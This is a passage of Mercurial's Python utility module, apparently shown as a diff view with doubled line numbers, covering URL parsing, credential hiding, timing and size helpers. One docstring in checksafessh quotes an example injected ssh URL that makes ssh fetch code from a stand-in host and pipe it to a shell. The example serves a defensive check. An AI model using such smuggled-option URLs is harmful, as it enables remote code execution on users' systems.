2973 <url path: '\\\\blah\\blah\\blah'>
2984 <url path: '\\\\blah\\blah\\blah'>
2974 >>> url(br'\\blah\blah\blah#baz')
2985 >>> url(br'\\blah\blah\blah#baz')
2975 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2986 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2976 >>> url(br'file:///C:\users\me')
2987 >>> url(br'file:///C:\users\me')
2977 <url scheme: 'file', path: 'C:\\users\\me'>
2988 <url scheme: 'file', path: 'C:\\users\\me'>
2978
2989
2979 Authentication credentials:
2990 Authentication credentials:
2980
2991
2981 >>> url(b'ssh://joe:xyz@x/repo')
2992 >>> url(b'ssh://joe:xyz@x/repo')
2982 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2993 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2983 >>> url(b'ssh://joe@x/repo')
2994 >>> url(b'ssh://joe@x/repo')
2984 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2995 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2985
2996
2986 Query strings and fragments:
2997 Query strings and fragments:
2987
2998
2988 >>> url(b'http://host/a?b#c')
2999 >>> url(b'http://host/a?b#c')
2989 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3000 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2990 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3001 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2991 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3002 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2992
3003
2993 Empty path:
3004 Empty path:
2994
3005
2995 >>> url(b'')
3006 >>> url(b'')
2996 <url path: ''>
3007 <url path: ''>
2997 >>> url(b'#a')
3008 >>> url(b'#a')
2998 <url path: '', fragment: 'a'>
3009 <url path: '', fragment: 'a'>
2999 >>> url(b'http://host/')
3010 >>> url(b'http://host/')
3000 <url scheme: 'http', host: 'host', path: ''>
3011 <url scheme: 'http', host: 'host', path: ''>
3001 >>> url(b'http://host/#a')
3012 >>> url(b'http://host/#a')
3002 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3013 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3003
3014
3004 Only scheme:
3015 Only scheme:
3005
3016
3006 >>> url(b'http:')
3017 >>> url(b'http:')
3007 <url scheme: 'http'>
3018 <url scheme: 'http'>
3008 """
3019 """
3009
3020
3010 _safechars = b"!~*'()+"
3021 _safechars = b"!~*'()+"
3011 _safepchars = b"/!~*'()+:\\"
3022 _safepchars = b"/!~*'()+:\\"
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3023 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3013
3024
3014 def __init__(self, path, parsequery=True, parsefragment=True):
3025 def __init__(self, path, parsequery=True, parsefragment=True):
3015 # We slowly chomp away at path until we have only the path left
3026 # We slowly chomp away at path until we have only the path left
3016 self.scheme = self.user = self.passwd = self.host = None
3027 self.scheme = self.user = self.passwd = self.host = None
3017 self.port = self.path = self.query = self.fragment = None
3028 self.port = self.path = self.query = self.fragment = None
3018 self._localpath = True
3029 self._localpath = True
3019 self._hostport = b''
3030 self._hostport = b''
3020 self._origpath = path
3031 self._origpath = path
3021
3032
3022 if parsefragment and b'#' in path:
3033 if parsefragment and b'#' in path:
3023 path, self.fragment = path.split(b'#', 1)
3034 path, self.fragment = path.split(b'#', 1)
3024
3035
3025 # special case for Windows drive letters and UNC paths
3036 # special case for Windows drive letters and UNC paths
3026 if hasdriveletter(path) or path.startswith(b'\\\\'):
3037 if hasdriveletter(path) or path.startswith(b'\\\\'):
3027 self.path = path
3038 self.path = path
3028 return
3039 return
3029
3040
3030 # For compatibility reasons, we can't handle bundle paths as
3041 # For compatibility reasons, we can't handle bundle paths as
3031 # normal URLS
3042 # normal URLS
3032 if path.startswith(b'bundle:'):
3043 if path.startswith(b'bundle:'):
3033 self.scheme = b'bundle'
3044 self.scheme = b'bundle'
3034 path = path[7:]
3045 path = path[7:]
3035 if path.startswith(b'//'):
3046 if path.startswith(b'//'):
3036 path = path[2:]
3047 path = path[2:]
3037 self.path = path
3048 self.path = path
3038 return
3049 return
3039
3050
3040 if self._matchscheme(path):
3051 if self._matchscheme(path):
3041 parts = path.split(b':', 1)
3052 parts = path.split(b':', 1)
3042 if parts[0]:
3053 if parts[0]:
3043 self.scheme, path = parts
3054 self.scheme, path = parts
3044 self._localpath = False
3055 self._localpath = False
3045
3056
3046 if not path:
3057 if not path:
3047 path = None
3058 path = None
3048 if self._localpath:
3059 if self._localpath:
3049 self.path = b''
3060 self.path = b''
3050 return
3061 return
3051 else:
3062 else:
3052 if self._localpath:
3063 if self._localpath:
3053 self.path = path
3064 self.path = path
3054 return
3065 return
3055
3066
3056 if parsequery and b'?' in path:
3067 if parsequery and b'?' in path:
3057 path, self.query = path.split(b'?', 1)
3068 path, self.query = path.split(b'?', 1)
3058 if not path:
3069 if not path:
3059 path = None
3070 path = None
3060 if not self.query:
3071 if not self.query:
3061 self.query = None
3072 self.query = None
3062
3073
3063 # // is required to specify a host/authority
3074 # // is required to specify a host/authority
3064 if path and path.startswith(b'//'):
3075 if path and path.startswith(b'//'):
3065 parts = path[2:].split(b'/', 1)
3076 parts = path[2:].split(b'/', 1)
3066 if len(parts) > 1:
3077 if len(parts) > 1:
3067 self.host, path = parts
3078 self.host, path = parts
3068 else:
3079 else:
3069 self.host = parts[0]
3080 self.host = parts[0]
3070 path = None
3081 path = None
3071 if not self.host:
3082 if not self.host:
3072 self.host = None
3083 self.host = None
3073 # path of file:///d is /d
3084 # path of file:///d is /d
3074 # path of file:///d:/ is d:/, not /d:/
3085 # path of file:///d:/ is d:/, not /d:/
3075 if path and not hasdriveletter(path):
3086 if path and not hasdriveletter(path):
3076 path = b'/' + path
3087 path = b'/' + path
3077
3088
3078 if self.host and b'@' in self.host:
3089 if self.host and b'@' in self.host:
3079 self.user, self.host = self.host.rsplit(b'@', 1)
3090 self.user, self.host = self.host.rsplit(b'@', 1)
3080 if b':' in self.user:
3091 if b':' in self.user:
3081 self.user, self.passwd = self.user.split(b':', 1)
3092 self.user, self.passwd = self.user.split(b':', 1)
3082 if not self.host:
3093 if not self.host:
3083 self.host = None
3094 self.host = None
3084
3095
3085 # Don't split on colons in IPv6 addresses without ports
3096 # Don't split on colons in IPv6 addresses without ports
3086 if (
3097 if (
3087 self.host
3098 self.host
3088 and b':' in self.host
3099 and b':' in self.host
3089 and not (
3100 and not (
3090 self.host.startswith(b'[') and self.host.endswith(b']')
3101 self.host.startswith(b'[') and self.host.endswith(b']')
3091 )
3102 )
3092 ):
3103 ):
3093 self._hostport = self.host
3104 self._hostport = self.host
3094 self.host, self.port = self.host.rsplit(b':', 1)
3105 self.host, self.port = self.host.rsplit(b':', 1)
3095 if not self.host:
3106 if not self.host:
3096 self.host = None
3107 self.host = None
3097
3108
3098 if (
3109 if (
3099 self.host
3110 self.host
3100 and self.scheme == b'file'
3111 and self.scheme == b'file'
3101 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3112 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3102 ):
3113 ):
3103 raise error.Abort(
3114 raise error.Abort(
3104 _(b'file:// URLs can only refer to localhost')
3115 _(b'file:// URLs can only refer to localhost')
3105 )
3116 )
3106
3117
3107 self.path = path
3118 self.path = path
3108
3119
3109 # leave the query string escaped
3120 # leave the query string escaped
3110 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3121 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3111 v = getattr(self, a)
3122 v = getattr(self, a)
3112 if v is not None:
3123 if v is not None:
3113 setattr(self, a, urlreq.unquote(v))
3124 setattr(self, a, urlreq.unquote(v))
3114
3125
3115 @encoding.strmethod
3126 @encoding.strmethod
3116 def __repr__(self):
3127 def __repr__(self):
3117 attrs = []
3128 attrs = []
3118 for a in (
3129 for a in (
3119 b'scheme',
3130 b'scheme',
3120 b'user',
3131 b'user',
3121 b'passwd',
3132 b'passwd',
3122 b'host',
3133 b'host',
3123 b'port',
3134 b'port',
3124 b'path',
3135 b'path',
3125 b'query',
3136 b'query',
3126 b'fragment',
3137 b'fragment',
3127 ):
3138 ):
3128 v = getattr(self, a)
3139 v = getattr(self, a)
3129 if v is not None:
3140 if v is not None:
3130 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3141 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3131 return b'<url %s>' % b', '.join(attrs)
3142 return b'<url %s>' % b', '.join(attrs)
3132
3143
3133 def __bytes__(self):
3144 def __bytes__(self):
3134 r"""Join the URL's components back into a URL string.
3145 r"""Join the URL's components back into a URL string.
3135
3146
3136 Examples:
3147 Examples:
3137
3148
3138 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3149 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3139 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3150 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3140 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3151 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3141 'http://user:pw@host:80/?foo=bar&baz=42'
3152 'http://user:pw@host:80/?foo=bar&baz=42'
3142 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3153 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3143 'http://user:pw@host:80/?foo=bar%3dbaz'
3154 'http://user:pw@host:80/?foo=bar%3dbaz'
3144 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3155 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3145 'ssh://user:pw@[::1]:2200//home/joe#'
3156 'ssh://user:pw@[::1]:2200//home/joe#'
3146 >>> bytes(url(b'http://localhost:80//'))
3157 >>> bytes(url(b'http://localhost:80//'))
3147 'http://localhost:80//'
3158 'http://localhost:80//'
3148 >>> bytes(url(b'http://localhost:80/'))
3159 >>> bytes(url(b'http://localhost:80/'))
3149 'http://localhost:80/'
3160 'http://localhost:80/'
3150 >>> bytes(url(b'http://localhost:80'))
3161 >>> bytes(url(b'http://localhost:80'))
3151 'http://localhost:80/'
3162 'http://localhost:80/'
3152 >>> bytes(url(b'bundle:foo'))
3163 >>> bytes(url(b'bundle:foo'))
3153 'bundle:foo'
3164 'bundle:foo'
3154 >>> bytes(url(b'bundle://../foo'))
3165 >>> bytes(url(b'bundle://../foo'))
3155 'bundle:../foo'
3166 'bundle:../foo'
3156 >>> bytes(url(b'path'))
3167 >>> bytes(url(b'path'))
3157 'path'
3168 'path'
3158 >>> bytes(url(b'file:///tmp/foo/bar'))
3169 >>> bytes(url(b'file:///tmp/foo/bar'))
3159 'file:///tmp/foo/bar'
3170 'file:///tmp/foo/bar'
3160 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3171 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3161 'file:///c:/tmp/foo/bar'
3172 'file:///c:/tmp/foo/bar'
3162 >>> print(url(br'bundle:foo\bar'))
3173 >>> print(url(br'bundle:foo\bar'))
3163 bundle:foo\bar
3174 bundle:foo\bar
3164 >>> print(url(br'file:///D:\data\hg'))
3175 >>> print(url(br'file:///D:\data\hg'))
3165 file:///D:\data\hg
3176 file:///D:\data\hg
3166 """
3177 """
3167 if self._localpath:
3178 if self._localpath:
3168 s = self.path
3179 s = self.path
3169 if self.scheme == b'bundle':
3180 if self.scheme == b'bundle':
3170 s = b'bundle:' + s
3181 s = b'bundle:' + s
3171 if self.fragment:
3182 if self.fragment:
3172 s += b'#' + self.fragment
3183 s += b'#' + self.fragment
3173 return s
3184 return s
3174
3185
3175 s = self.scheme + b':'
3186 s = self.scheme + b':'
3176 if self.user or self.passwd or self.host:
3187 if self.user or self.passwd or self.host:
3177 s += b'//'
3188 s += b'//'
3178 elif self.scheme and (
3189 elif self.scheme and (
3179 not self.path
3190 not self.path
3180 or self.path.startswith(b'/')
3191 or self.path.startswith(b'/')
3181 or hasdriveletter(self.path)
3192 or hasdriveletter(self.path)
3182 ):
3193 ):
3183 s += b'//'
3194 s += b'//'
3184 if hasdriveletter(self.path):
3195 if hasdriveletter(self.path):
3185 s += b'/'
3196 s += b'/'
3186 if self.user:
3197 if self.user:
3187 s += urlreq.quote(self.user, safe=self._safechars)
3198 s += urlreq.quote(self.user, safe=self._safechars)
3188 if self.passwd:
3199 if self.passwd:
3189 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3200 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3190 if self.user or self.passwd:
3201 if self.user or self.passwd:
3191 s += b'@'
3202 s += b'@'
3192 if self.host:
3203 if self.host:
3193 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3204 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3194 s += urlreq.quote(self.host)
3205 s += urlreq.quote(self.host)
3195 else:
3206 else:
3196 s += self.host
3207 s += self.host
3197 if self.port:
3208 if self.port:
3198 s += b':' + urlreq.quote(self.port)
3209 s += b':' + urlreq.quote(self.port)
3199 if self.host:
3210 if self.host:
3200 s += b'/'
3211 s += b'/'
3201 if self.path:
3212 if self.path:
3202 # TODO: similar to the query string, we should not unescape the
3213 # TODO: similar to the query string, we should not unescape the
3203 # path when we store it, the path might contain '%2f' = '/',
3214 # path when we store it, the path might contain '%2f' = '/',
3204 # which we should *not* escape.
3215 # which we should *not* escape.
3205 s += urlreq.quote(self.path, safe=self._safepchars)
3216 s += urlreq.quote(self.path, safe=self._safepchars)
3206 if self.query:
3217 if self.query:
3207 # we store the query in escaped form.
3218 # we store the query in escaped form.
3208 s += b'?' + self.query
3219 s += b'?' + self.query
3209 if self.fragment is not None:
3220 if self.fragment is not None:
3210 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3221 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3211 return s
3222 return s
3212
3223
3213 __str__ = encoding.strmethod(__bytes__)
3224 __str__ = encoding.strmethod(__bytes__)
3214
3225
3215 def authinfo(self):
3226 def authinfo(self):
3216 user, passwd = self.user, self.passwd
3227 user, passwd = self.user, self.passwd
3217 try:
3228 try:
3218 self.user, self.passwd = None, None
3229 self.user, self.passwd = None, None
3219 s = bytes(self)
3230 s = bytes(self)
3220 finally:
3231 finally:
3221 self.user, self.passwd = user, passwd
3232 self.user, self.passwd = user, passwd
3222 if not self.user:
3233 if not self.user:
3223 return (s, None)
3234 return (s, None)
3224 # authinfo[1] is passed to urllib2 password manager, and its
3235 # authinfo[1] is passed to urllib2 password manager, and its
3225 # URIs must not contain credentials. The host is passed in the
3236 # URIs must not contain credentials. The host is passed in the
3226 # URIs list because Python < 2.4.3 uses only that to search for
3237 # URIs list because Python < 2.4.3 uses only that to search for
3227 # a password.
3238 # a password.
3228 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3239 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3229
3240
3230 def isabs(self):
3241 def isabs(self):
3231 if self.scheme and self.scheme != b'file':
3242 if self.scheme and self.scheme != b'file':
3232 return True # remote URL
3243 return True # remote URL
3233 if hasdriveletter(self.path):
3244 if hasdriveletter(self.path):
3234 return True # absolute for our purposes - can't be joined()
3245 return True # absolute for our purposes - can't be joined()
3235 if self.path.startswith(br'\\'):
3246 if self.path.startswith(br'\\'):
3236 return True # Windows UNC path
3247 return True # Windows UNC path
3237 if self.path.startswith(b'/'):
3248 if self.path.startswith(b'/'):
3238 return True # POSIX-style
3249 return True # POSIX-style
3239 return False
3250 return False
3240
3251
3241 def localpath(self):
3252 def localpath(self):
3242 if self.scheme == b'file' or self.scheme == b'bundle':
3253 if self.scheme == b'file' or self.scheme == b'bundle':
3243 path = self.path or b'/'
3254 path = self.path or b'/'
3244 # For Windows, we need to promote hosts containing drive
3255 # For Windows, we need to promote hosts containing drive
3245 # letters to paths with drive letters.
3256 # letters to paths with drive letters.
3246 if hasdriveletter(self._hostport):
3257 if hasdriveletter(self._hostport):
3247 path = self._hostport + b'/' + self.path
3258 path = self._hostport + b'/' + self.path
3248 elif (
3259 elif (
3249 self.host is not None and self.path and not hasdriveletter(path)
3260 self.host is not None and self.path and not hasdriveletter(path)
3250 ):
3261 ):
3251 path = b'/' + path
3262 path = b'/' + path
3252 return path
3263 return path
3253 return self._origpath
3264 return self._origpath
3254
3265
3255 def islocal(self):
3266 def islocal(self):
3256 '''whether localpath will return something that posixfile can open'''
3267 '''whether localpath will return something that posixfile can open'''
3257 return (
3268 return (
3258 not self.scheme
3269 not self.scheme
3259 or self.scheme == b'file'
3270 or self.scheme == b'file'
3260 or self.scheme == b'bundle'
3271 or self.scheme == b'bundle'
3261 )
3272 )
3262
3273
3263
3274
3264 def hasscheme(path):
3275 def hasscheme(path):
3265 return bool(url(path).scheme)
3276 return bool(url(path).scheme)
3266
3277
3267
3278
3268 def hasdriveletter(path):
3279 def hasdriveletter(path):
3269 return path and path[1:2] == b':' and path[0:1].isalpha()
3280 return path and path[1:2] == b':' and path[0:1].isalpha()
3270
3281
3271
3282
3272 def urllocalpath(path):
3283 def urllocalpath(path):
3273 return url(path, parsequery=False, parsefragment=False).localpath()
3284 return url(path, parsequery=False, parsefragment=False).localpath()
3274
3285
3275
3286
3276 def checksafessh(path):
3287 def checksafessh(path):
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3288 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3278
3289
3279 This is a sanity check for ssh urls. ssh will parse the first item as
3290 This is a sanity check for ssh urls. ssh will parse the first item as
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3291 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3281 Let's prevent these potentially exploited urls entirely and warn the
3292 Let's prevent these potentially exploited urls entirely and warn the
3282 user.
3293 user.
3283
3294
3284 Raises an error.Abort when the url is unsafe.
3295 Raises an error.Abort when the url is unsafe.
3285 """
3296 """
3286 path = urlreq.unquote(path)
3297 path = urlreq.unquote(path)
3287 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3298 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3288 raise error.Abort(
3299 raise error.Abort(
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3300 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3290 )
3301 )
3291
3302
3292
3303
3293 def hidepassword(u):
3304 def hidepassword(u):
3294 '''hide user credential in a url string'''
3305 '''hide user credential in a url string'''
3295 u = url(u)
3306 u = url(u)
3296 if u.passwd:
3307 if u.passwd:
3297 u.passwd = b'***'
3308 u.passwd = b'***'
3298 return bytes(u)
3309 return bytes(u)
3299
3310
3300
3311
3301 def removeauth(u):
3312 def removeauth(u):
3302 '''remove all authentication information from a url string'''
3313 '''remove all authentication information from a url string'''
3303 u = url(u)
3314 u = url(u)
3304 u.user = u.passwd = None
3315 u.user = u.passwd = None
3305 return bytes(u)
3316 return bytes(u)
3306
3317
3307
3318
3308 timecount = unitcountfn(
3319 timecount = unitcountfn(
3309 (1, 1e3, _(b'%.0f s')),
3320 (1, 1e3, _(b'%.0f s')),
3310 (100, 1, _(b'%.1f s')),
3321 (100, 1, _(b'%.1f s')),
3311 (10, 1, _(b'%.2f s')),
3322 (10, 1, _(b'%.2f s')),
3312 (1, 1, _(b'%.3f s')),
3323 (1, 1, _(b'%.3f s')),
3313 (100, 0.001, _(b'%.1f ms')),
3324 (100, 0.001, _(b'%.1f ms')),
3314 (10, 0.001, _(b'%.2f ms')),
3325 (10, 0.001, _(b'%.2f ms')),
3315 (1, 0.001, _(b'%.3f ms')),
3326 (1, 0.001, _(b'%.3f ms')),
3316 (100, 0.000001, _(b'%.1f us')),
3327 (100, 0.000001, _(b'%.1f us')),
3317 (10, 0.000001, _(b'%.2f us')),
3328 (10, 0.000001, _(b'%.2f us')),
3318 (1, 0.000001, _(b'%.3f us')),
3329 (1, 0.000001, _(b'%.3f us')),
3319 (100, 0.000000001, _(b'%.1f ns')),
3330 (100, 0.000000001, _(b'%.1f ns')),
3320 (10, 0.000000001, _(b'%.2f ns')),
3331 (10, 0.000000001, _(b'%.2f ns')),
3321 (1, 0.000000001, _(b'%.3f ns')),
3332 (1, 0.000000001, _(b'%.3f ns')),
3322 )
3333 )
3323
3334
3324
3335
3325 @attr.s
3336 @attr.s
3326 class timedcmstats(object):
3337 class timedcmstats(object):
3327 """Stats information produced by the timedcm context manager on entering."""
3338 """Stats information produced by the timedcm context manager on entering."""
3328
3339
3329 # the starting value of the timer as a float (meaning and resulution is
3340 # the starting value of the timer as a float (meaning and resulution is
3330 # platform dependent, see util.timer)
3341 # platform dependent, see util.timer)
3331 start = attr.ib(default=attr.Factory(lambda: timer()))
3342 start = attr.ib(default=attr.Factory(lambda: timer()))
3332 # the number of seconds as a floating point value; starts at 0, updated when
3343 # the number of seconds as a floating point value; starts at 0, updated when
3333 # the context is exited.
3344 # the context is exited.
3334 elapsed = attr.ib(default=0)
3345 elapsed = attr.ib(default=0)
3335 # the number of nested timedcm context managers.
3346 # the number of nested timedcm context managers.
3336 level = attr.ib(default=1)
3347 level = attr.ib(default=1)
3337
3348
3338 def __bytes__(self):
3349 def __bytes__(self):
3339 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3350 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3340
3351
3341 __str__ = encoding.strmethod(__bytes__)
3352 __str__ = encoding.strmethod(__bytes__)
3342
3353
3343
3354
3344 @contextlib.contextmanager
3355 @contextlib.contextmanager
3345 def timedcm(whencefmt, *whenceargs):
3356 def timedcm(whencefmt, *whenceargs):
3346 """A context manager that produces timing information for a given context.
3357 """A context manager that produces timing information for a given context.
3347
3358
3348 On entering a timedcmstats instance is produced.
3359 On entering a timedcmstats instance is produced.
3349
3360
3350 This context manager is reentrant.
3361 This context manager is reentrant.
3351
3362
3352 """
3363 """
3353 # track nested context managers
3364 # track nested context managers
3354 timedcm._nested += 1
3365 timedcm._nested += 1
3355 timing_stats = timedcmstats(level=timedcm._nested)
3366 timing_stats = timedcmstats(level=timedcm._nested)
3356 try:
3367 try:
3357 with tracing.log(whencefmt, *whenceargs):
3368 with tracing.log(whencefmt, *whenceargs):
3358 yield timing_stats
3369 yield timing_stats
3359 finally:
3370 finally:
3360 timing_stats.elapsed = timer() - timing_stats.start
3371 timing_stats.elapsed = timer() - timing_stats.start
3361 timedcm._nested -= 1
3372 timedcm._nested -= 1
3362
3373
3363
3374
3364 timedcm._nested = 0
3375 timedcm._nested = 0
3365
3376
3366
3377
3367 def timed(func):
3378 def timed(func):
3368 '''Report the execution time of a function call to stderr.
3379 '''Report the execution time of a function call to stderr.
3369
3380
3370 During development, use as a decorator when you need to measure
3381 During development, use as a decorator when you need to measure
3371 the cost of a function, e.g. as follows:
3382 the cost of a function, e.g. as follows:
3372
3383
3373 @util.timed
3384 @util.timed
3374 def foo(a, b, c):
3385 def foo(a, b, c):
3375 pass
3386 pass
3376 '''
3387 '''
3377
3388
3378 def wrapper(*args, **kwargs):
3389 def wrapper(*args, **kwargs):
3379 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3390 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3380 result = func(*args, **kwargs)
3391 result = func(*args, **kwargs)
3381 stderr = procutil.stderr
3392 stderr = procutil.stderr
3382 stderr.write(
3393 stderr.write(
3383 b'%s%s: %s\n'
3394 b'%s%s: %s\n'
3384 % (
3395 % (
3385 b' ' * time_stats.level * 2,
3396 b' ' * time_stats.level * 2,
3386 pycompat.bytestr(func.__name__),
3397 pycompat.bytestr(func.__name__),
3387 time_stats,
3398 time_stats,
3388 )
3399 )
3389 )
3400 )
3390 return result
3401 return result
3391
3402
3392 return wrapper
3403 return wrapper
3393
3404
3394
3405
3395 _sizeunits = (
3406 _sizeunits = (
3396 (b'm', 2 ** 20),
3407 (b'm', 2 ** 20),
3397 (b'k', 2 ** 10),
3408 (b'k', 2 ** 10),
3398 (b'g', 2 ** 30),
3409 (b'g', 2 ** 30),
3399 (b'kb', 2 ** 10),
3410 (b'kb', 2 ** 10),
3400 (b'mb', 2 ** 20),
3411 (b'mb', 2 ** 20),
3401 (b'gb', 2 ** 30),
3412 (b'gb', 2 ** 30),
3402 (b'b', 1),
3413 (b'b', 1),
3403 )
3414 )
3404
3415
3405
3416
3406 def sizetoint(s):
3417 def sizetoint(s):
3407 '''Convert a space specifier to a byte count.
3418 '''Convert a space specifier to a byte count.
3408
3419
3409 >>> sizetoint(b'30')
3420 >>> sizetoint(b'30')
3410 30
3421 30
3411 >>> sizetoint(b'2.2kb')
3422 >>> sizetoint(b'2.2kb')
3412 2252
3423 2252
3413 >>> sizetoint(b'6M')
3424 >>> sizetoint(b'6M')
3414 6291456
3425 6291456
3415 '''
3426 '''
3416 t = s.strip().lower()
3427 t = s.strip().lower()
3417 try:
3428 try:
3418 for k, u in _sizeunits:
3429 for k, u in _sizeunits:
3419 if t.endswith(k):
3430 if t.endswith(k):
3420 return int(float(t[: -len(k)]) * u)
3431 return int(float(t[: -len(k)]) * u)
3421 return int(t)
3432 return int(t)
3422 except ValueError:
3433 except ValueError:
3423 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3434 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3424
3435
3425
3436
3426 class hooks(object):
3437 class hooks(object):
3427 '''A collection of hook functions that can be used to extend a
3438 '''A collection of hook functions that can be used to extend a
3428 function's behavior. Hooks are called in lexicographic order,
3439 function's behavior. Hooks are called in lexicographic order,
3429 based on the names of their sources.'''
3440 based on the names of their sources.'''
3430
3441
3431 def __init__(self):
3442 def __init__(self):
3432 self._hooks = []
3443 self._hooks = []
3433
3444
3434 def add(self, source, hook):
3445 def add(self, source, hook):
3435 self._hooks.append((source, hook))
3446 self._hooks.append((source, hook))
3436
3447
3437 def __call__(self, *args):
3448 def __call__(self, *args):
3438 self._hooks.sort(key=lambda x: x[0])
3449 self._hooks.sort(key=lambda x: x[0])
3439 results = []
3450 results = []
3440 for source, hook in self._hooks:
3451 for source, hook in self._hooks:
3441 results.append(hook(*args))
3452 results.append(hook(*args))
3442 return results
3453 return results
3443
3454
3444
3455
3445 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3456 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3446 '''Yields lines for a nicely formatted stacktrace.
3457 '''Yields lines for a nicely formatted stacktrace.
3447 Skips the 'skip' last entries, then return the last 'depth' entries.
3458 Skips the 'skip' last entries, then return the last 'depth' entries.
3448 Each file+linenumber is formatted according to fileline.
3459 Each file+linenumber is formatted according to fileline.
3449 Each line is formatted according to line.
3460 Each line is formatted according to line.
3450 If line is None, it yields:
3461 If line is None, it yields:
3451 length of longest filepath+line number,
3462 length of longest filepath+line number,
3452 filepath+linenumber,
3463 filepath+linenumber,
3453 function
3464 function
3454
3465
3455 Not be used in production code but very convenient while developing.
3466 Not be used in production code but very convenient while developing.
3456 '''
3467 '''
3457 entries = [
3468 entries = [
3458 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3469 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3459 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3470 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3460 ][-depth:]
3471 ][-depth:]
3461 if entries:
3472 if entries:
3462 fnmax = max(len(entry[0]) for entry in entries)
3473 fnmax = max(len(entry[0]) for entry in entries)
3463 for fnln, func in entries:
3474 for fnln, func in entries:
3464 if line is None:
3475 if line is None:
3465 yield (fnmax, fnln, func)
3476 yield (fnmax, fnln, func)
3466 else:
3477 else:
3467 yield line % (fnmax, fnln, func)
3478 yield line % (fnmax, fnln, func)
3468
3479
3469
3480
3470 def debugstacktrace(
3481 def debugstacktrace(
3471 msg=b'stacktrace',
3482 msg=b'stacktrace',
3472 skip=0,
3483 skip=0,
3473 f=procutil.stderr,
3484 f=procutil.stderr,
3474 otherf=procutil.stdout,
3485 otherf=procutil.stdout,
3475 depth=0,
3486 depth=0,
3476 prefix=b'',
3487 prefix=b'',
3477 ):
3488 ):
3478 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3489 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3479 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3490 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3480 By default it will flush stdout first.
3491 By default it will flush stdout first.
3481 It can be used everywhere and intentionally does not require an ui object.
3492 It can be used everywhere and intentionally does not require an ui object.
3482 Not be used in production code but very convenient while developing.
3493 Not be used in production code but very convenient while developing.
3483 '''
3494 '''
3484 if otherf:
3495 if otherf:
3485 otherf.flush()
3496 otherf.flush()
3486 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3497 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3487 for line in getstackframes(skip + 1, depth=depth):
3498 for line in getstackframes(skip + 1, depth=depth):
3488 f.write(prefix + line)
3499 f.write(prefix + line)
3489 f.flush()
3500 f.flush()
3490
3501
3491
3502
3492 # convenient shortcut
3503 # convenient shortcut
3493 dst = debugstacktrace
3504 dst = debugstacktrace
3494
3505
3495
3506
3496 def safename(f, tag, ctx, others=None):
3507 def safename(f, tag, ctx, others=None):
3497 """
3508 """
